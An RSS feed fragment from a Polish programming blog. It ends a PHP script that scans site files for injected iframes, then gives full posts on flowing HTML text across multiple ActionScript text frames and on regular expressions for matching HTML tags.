					<span style="color: #666666; font-style: italic;">//$rozmiar = filesize($path);</span>
					<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/index/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$plik</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
						<span style="color: #000088;">$contents</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
						<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/iframe/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$contents</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;znaleziono iframe w <span style="color: #006699; font-weight: bold;">$path</span>&lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>			
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>wielokolumnowy układ tekstu w actionscript</title>
		<link>http://nobigwords.ntxt.net/2008/07/12/wielokolumnowy-uklad-tekstu-w-actionscript/</link>
		<comments>http://nobigwords.ntxt.net/2008/07/12/wielokolumnowy-uklad-tekstu-w-actionscript/#comments</comments>
		<pubDate>Sat, 12 Jul 2008 12:55:00 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[tekst]]></category>
		<category><![CDATA[formatowanie]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[kolumny]]></category>
		<category><![CDATA[layout]]></category>
		<category><![CDATA[układ tekstu]]></category>
		<category><![CDATA[wielokolumnowy]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=24</guid>
		<description><![CDATA[Jest taki przykład w dokumentacji Flexa, jest też trochę o tym na blogu niejakiego Daniela. Jednak oba przykłady kończą się tam, gdzie zaczyna się próba przelewania HTMLa przez kilka ramek tekstowych. Dla zwykłego, czystego tekstu to proste &#8211; zobaczyć ile się nie zmieściło w ramce n i wlać to do ramki n+1, aż do ostatniej [...]]]></description>
			<content:encoded><![CDATA[<p>Jest taki <a title="wielokolumnowy układ tekstu - Flex" href="http://danielmclaren.net/2008/03/multi-column-layouts-in-flash-and-flex" target="_blank">przykład </a>w dokumentacji Flexa, jest też trochę o tym <a href="http://danielmclaren.net/2008/03/multi-column-layouts-in-flash-and-flex" target="_blank">na blogu niejakiego Daniela</a>. Jednak oba przykłady kończą się tam, gdzie zaczyna się próba przelewania HTMLa przez kilka ramek tekstowych. Dla zwykłego, czystego tekstu to proste &#8211; zobaczyć ile się nie zmieściło w ramce n i wlać to do ramki n+1, aż do ostatniej ramki albo końca tekstu.</p>
<p>W przypadku HTMLa jednak Flash nas nie oszczędza. Obliczenie pozycji, na której powinien nastąpić podział jest skomplikowane, bo trzeba uwzględnić &#8211; niewidoczne w ramce &#8211; tagi, w dodatku pamiętać o automatycznym zamykaniu ich i otwieraniu w kolejnych ramkach. Metody klasy TextField jak getLineOffset() zwracają pozycję w czystym tekście, a podział musi nastąpić w odpowiadającym jej miejscu HTMLa. Na dokładkę HTML, jaki naprawdę jest w obiekcie TextField zupełnie niekoniecznie przypomina ten, który przypisaliśmy do htmlText! Dlatego trzeba najpierw wlać tekst do ramki:</p>
<p>naszTextField.htmlText = nowyHtml;</p>
<p>potem pobrać go do zmiennej i dalej pracować już nad nim:</p>
<p>processedHtml = naszTextField.htmlText;</p>
<p>a oto procedurka przelewająca:</p>
<p>protected function flow():void<br />
{<br />
var lastSplit:                int     = 0;<br />
var newSplit:                int     = 0;<br />
var tb:                        VTextBox;<br />
var tbNum:                    int        = linkedTextBoxes.length;<br />
var tagsHeap:                Array      = new Array();<br />
var opening:                String;<br />
var closing:                String;<br />
var tempText:                String;<br />
var remainder:                String;<br />
var remainLinesNum:            int;<br />
var lastVisibleLineIndex:    int;<br />
var cutIndex:                int;</p>
<p>// liczba stron, na jaką trzeba będzie podzielić tekst<br />
pagesNum             = 0;<br />
// pozycje podziału stron<br />
splitIndices         = new Array();<br />
splitIndices.push(0);<br />
// pozostała do wlania część tekstu &#8211; najpierw cały<br />
remainder = processedText;<br />
textPieces = new Array();</p>
<p>while(remainder.length &gt; 0) {<br />
textPieces[pagesNum] = new Array();<br />
for(var i:int = 0; i &lt; tbNum; i++) {<br />
// kolejna ramka tekstowa<br />
tb = linkedTextBoxes[i];<br />
trace(&#8216;strona &#8216; + pagesNum + &#8216;, box nr &#8216; + i);</p>
<p>// Jeśli tekst już się skończył, kolejne ramki bieżącej strony wypełniamy pustym tekstem.<br />
// Jeśli tekst jeszcze jest, wlewamy pozostałą część i badamy ile się zmieściło<br />
if(remainder.length == 0) {<br />
textPieces[pagesNum][i] = &#8221;;<br />
} else {<br />
// dodajemy na początek otwarcie wszystkich tagów kontynuowanych z poprzedniej ramki<br />
opening                 = Html.getOpeningHtml(tagsHeap);<br />
// wlewamy cały pozostały tekst<br />
tb.htmlText             = opening + remainder;<br />
// obliczamy, ile linii jest poza ramką<br />
remainLinesNum             = tb.maxScrollV &#8211; 1;<br />
trace(&#8216;poza ramką jest linii: &#8216; + remainLinesNum);</p>
<p>if(remainLinesNum == 0) {<br />
textPieces[pagesNum][i] = opening + remainder;<br />
remainder = &#8221;;<br />
} else {<br />
// obliczamy index ostatniej linii<br />
lastVisibleLineIndex     = tb.numLines &#8211; remainLinesNum &#8211; 1;<br />
trace(&#8216;indeks ostatniej linii: &#8216; + lastVisibleLineIndex);<br />
// pobieramy indeks ostatniego widocznego znaku<br />
cutIndex                 = tb.getLineOffset(lastVisibleLineIndex) + tb.getLineLength(lastVisibleLineIndex) &#8211; 1;<br />
trace(&#8216;cutIndex: &#8216; + cutIndex);<br />
trace(&#8216;cut rigth after &#8230;&#8217; + tb.getLineText(lastVisibleLineIndex));<br />
// pozostawiamy tylko mieszczącą się część tekstu<br />
tempText                = remainder.substring(0, cutIndex);<br />
remainder                = remainder.substr(cutIndex);<br />
// uzupełniamy listę otwartych tagów<br />
tagsHeap                 = Html.getTags(tempText, tagsHeap);<br />
// pobieramy tagi do zamknięcia w ramce<br />
closing = Html.getClosingHtml(tagsHeap);<br />
textPieces[pagesNum][i] = opening + tempText + closing;<br />
}<br />
}<br />
}<br />
pagesNum++;<br />
}</p>
<p>displayPage(0);<br />
}</p>
<p>A oto <a title="Nowe możliwości tekstu w actionscript  (Aero)." href="http://labs.adobe.com/technologies/flashplayer10/demos/videos/text.html" target="_blank">link do video</a>, w świetle którego całe powyższe rozważanie wkrótce straci sens.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2008/07/12/wielokolumnowy-uklad-tekstu-w-actionscript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wyrażenia regularne w AS3 i HTML</title>
		<link>http://nobigwords.ntxt.net/2008/07/06/wyrazenia-regularne-w-as3-i-html/</link>
		<comments>http://nobigwords.ntxt.net/2008/07/06/wyrazenia-regularne-w-as3-i-html/#comments</comments>
		<pubDate>Sun, 06 Jul 2008 13:47:32 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[flex]]></category>
		<category><![CDATA[AS3]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[kolumnowy]]></category>
		<category><![CDATA[regexp]]></category>
		<category><![CDATA[tekst]]></category>
		<category><![CDATA[wlewanie tekstu]]></category>
		<category><![CDATA[wyrażenia regularne]]></category>
		<category><![CDATA[wyrażenie regularne]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=22</guid>
		<description><![CDATA[Przy okazji obsługi tekstu wielokolumnowego ze stylami CSS i automatycznym dzieleniem na strony i ramki tekstowe pojawił się problem HTMLa. Kiedy tekst przelewa się z jednej ramki (TextField) do drugiej, trzeba obsłużyć zamykanie tagów na końcu pierwszej ramki i otwieranie ich na początku drugiej. Ponieważ praca jest w trakcie, to na razie tylko tyle, że [...]]]></description>
			<content:encoded><![CDATA[<p>Przy okazji obsługi tekstu wielokolumnowego ze stylami CSS i automatycznym dzieleniem na strony i ramki tekstowe pojawił się problem HTMLa. Kiedy tekst przelewa się z jednej ramki (TextField) do drugiej, trzeba obsłużyć zamykanie tagów na końcu pierwszej ramki i otwieranie ich na początku drugiej. Ponieważ praca jest w trakcie, to na razie tylko tyle, że znalazłem <a title="Testowanie wyrażeń regularnych w AS3" href="http://gskinner.com/RegExr/" target="_blank">stronę do testowania wyrażeń w AS3</a>, zrobioną we fleksie.</p>
<p>A wyrażenia, jakimi zbieram z tekstu otwierające i zamykające tagi:</p>
<p>openTag     = /&lt;\s*(\w+)([^&gt;]*[^/])?&gt;/gi;<br />
closeTag    = /&lt;/(\w+)\s*&gt;/gi;</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2008/07/06/wyrazenia-regularne-w-as3-i-html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

